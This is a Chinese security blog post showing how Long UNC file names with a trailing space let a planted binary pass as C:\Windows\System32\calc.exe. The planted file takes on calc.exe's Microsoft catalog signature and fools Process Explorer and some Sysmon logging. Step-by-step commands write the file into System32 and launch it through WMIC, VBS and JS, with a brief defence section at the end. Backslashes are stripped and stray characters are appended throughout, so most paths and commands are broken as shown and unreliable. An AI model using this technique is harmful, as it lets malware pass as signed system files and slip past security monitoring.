Catalog簽名偽造——Long UNC文件名欺騙
0x00 前言
在之前的兩篇文章《Authenticode簽名偽造——PE文件的簽名偽造與簽名驗證劫持》和《Authenticode簽名偽造——針對文件類型的簽名偽造》介紹了Authenticode簽名偽造的利用方法,這次將要介紹一個Catalog簽名偽造的方法,利用Long UNC文件名欺騙系統,獲得系統內置的Catalog簽名
註:
本文介紹的技巧參考自Matt Graeber@mattifestation公開的資料,本文將結合自己的經驗,整理相關內容,添加個人理解。
參考資料:
http://www.exploit-monday.com/2013/02/WindowsFileConfusion.html?m=1
0x01 簡介
本文將要介紹以下內容:
· Long UNC基礎知識
· Long UNC文件名欺騙的方法
· Long UNC文件名欺騙優缺點分析
0x02 Long UNC介紹
UNC(Universal Naming Convention)
通用命名規則,可用來表示Windows系統中文件的位置
詳細介紹可參考如下鏈接:
https://en.wikipedia.org/wiki/Path_(computing)
Long UNC
正常UNC支持的最大長度為260字元
為了支持更長的字元,引入了Long UNC,支持最大長度為32767
格式舉例: ?C:testa.exe
type putty.exe > "?C:testlongUNC.exe"n
如下圖,使用Long UNC的文件同普通文件沒有區別
特別用法:
如果在Long UNC文件名後面加一個空格,系統對文件名的判斷將發生錯誤
type putty.exe > "?C:testmimikatz.exe "n
如下圖
將putty.exe重命名為"?C:testmimikatz.exe ",右鍵查看"?C:testmimikatz.exe "的文件屬性
發現了奇怪的地方:屬性顯示該文件為樣本文件mimikatz.exe的屬性
直觀理解:特殊Long UNC的文件能夠欺騙系統,將其識別為另一個文件
0x03 Long UNC文件名欺騙的方法
由上節測試,我們知道利用Long UNC能夠複製文件屬性
那麼,如果複製的是系統文件,甚至是帶有catalog簽名的文件,是否能實現catalog的簽名偽造?
測試1: 偽造calc.exe的catalog簽名
測試系統: Win7 x86
使用sigcheck.exe查看calc.exe的catalog簽名:
sigcheck.exe -i c:windowssystem32calc.exen
如下圖
Long UNC文件偽造:
type putty.exe > "?C:WindowsSystem32calc.exe "n
註:
輸出到c:windowssystem32需要管理員許可權
特殊文件名必須放在目標的同級目錄下,即C:WindowsSystem32,否則啟動失敗
如下圖,驗證結論,特殊Long UNC能夠複製文件屬性
在之前的文章《Hidden Alternative Data Streams的進階利用技巧》介紹過特殊文件名可用短文件名代替
獲取短文件名:
dir /x calc*.exen
如下圖
"?C:WindowsSystem32calc.exe "可用短文件名CALC~1.EXE代替
使用sigcheck.exe查看該文件的catalog簽名:
sigcheck.exe -i "?C:WindowsSystem32calc.exe "n
or
sigcheck.exe -i C:WindowsSystem32CALC~1.EXEn
如下圖
成功偽造catalog簽名
測試2: 執行特殊Long UNC文件
1、無法雙擊執行
2、通過命令行
"?C:WindowsSystem32calc.exe "n
提示系統找不到指定的路徑
C:WindowsSystem32CALC~1.EXEn
啟動正常calc.exe
3、通過WMIC
wmic process call create C:WindowsSystem32CALC~1.exen
4、通過vbs
Set objShell = CreateObject("Wscript.Shell")objShell.Run "c:windowssystem3alc~1.exe"n
5、通過js
var wsh=new ActiveXObject("wscript.shell");wsh.run("c:windowssystem32calc~1.exe");n
啟動後,進程名為calc~1.exe
特別的地方:
通過Process Explorer驗證進程簽名,識別為calc.exe的默認微軟證書
如下圖
註:
關於文件的描述,例如截圖中的"SSH, Telnet and Rlogin client"可通過修改程序的資源進行偽造,方法暫略
得出結論: 執行特殊Long UNC文件能夠欺騙Process Explorer的進程簽名驗證
補充:
能夠欺騙Sysmon的部分日誌監控功能,例如Process creation
測試3: 無法欺騙的工具
1、使用certutil.exe計算MD5
certutil.exe -hashfile C:WindowsSystem32calc.exe MD5certutil.exe -hashfile C:WindowsSystem32calc~1.exe MD5n
註:
certutil.exe -hashfile "?C:WindowsSystem32calc.exe " MD5n
報錯提示系統找不到文件
如下圖
測試4: 多個同名文件夾的生成
type putty.exe > "?C:WindowsSystem32calc.exe "type putty.exe > "?C:WindowsSystem32calc.exe "type putty.exe > "?C:WindowsSystem32calc.exe "n
如下圖
測試5: 特殊Long UNC文件的刪除
del "?C:WindowsSystem32calc.exe "n
or
del C:WindowsSystem32CALC~1.exen
測試6: 其他系統測試
支持Win7-Win10
64位系統需要注意重定向問題
0x04 利用分析
利用特殊Long UNC文件名欺騙系統對文件路徑的判斷,實現偽造catalog簽名
特點:
欺騙系統對文件名的檢查,將文件偽造成系統文件,偽造catalog簽名
防禦檢測:
1、許可權控制
欺騙系統文件,需要有系統文件夾的可寫許可權
2、文件識別
同級目錄同名文件
3、進程名判斷
特殊進程名,格式為短文件名,例如CALC~1.EXE
4、工具檢測
使用certutil.exe校驗文件hash
0x05 小結
本文介紹了利用特殊Long UNC文件名欺騙系統並獲得Catalog簽名的技巧,分析利用方法,分享防禦思路
本文為 3gtudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: http://www.4hou.com/web/8034.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※為這次的比特幣勒索事件鼓個掌
※Linux曝高危漏洞 長按Enter鍵70秒即可獲取root許可權
※解決方案:勒索蠕蟲病毒文件恢復工具
TAG:信息安全 |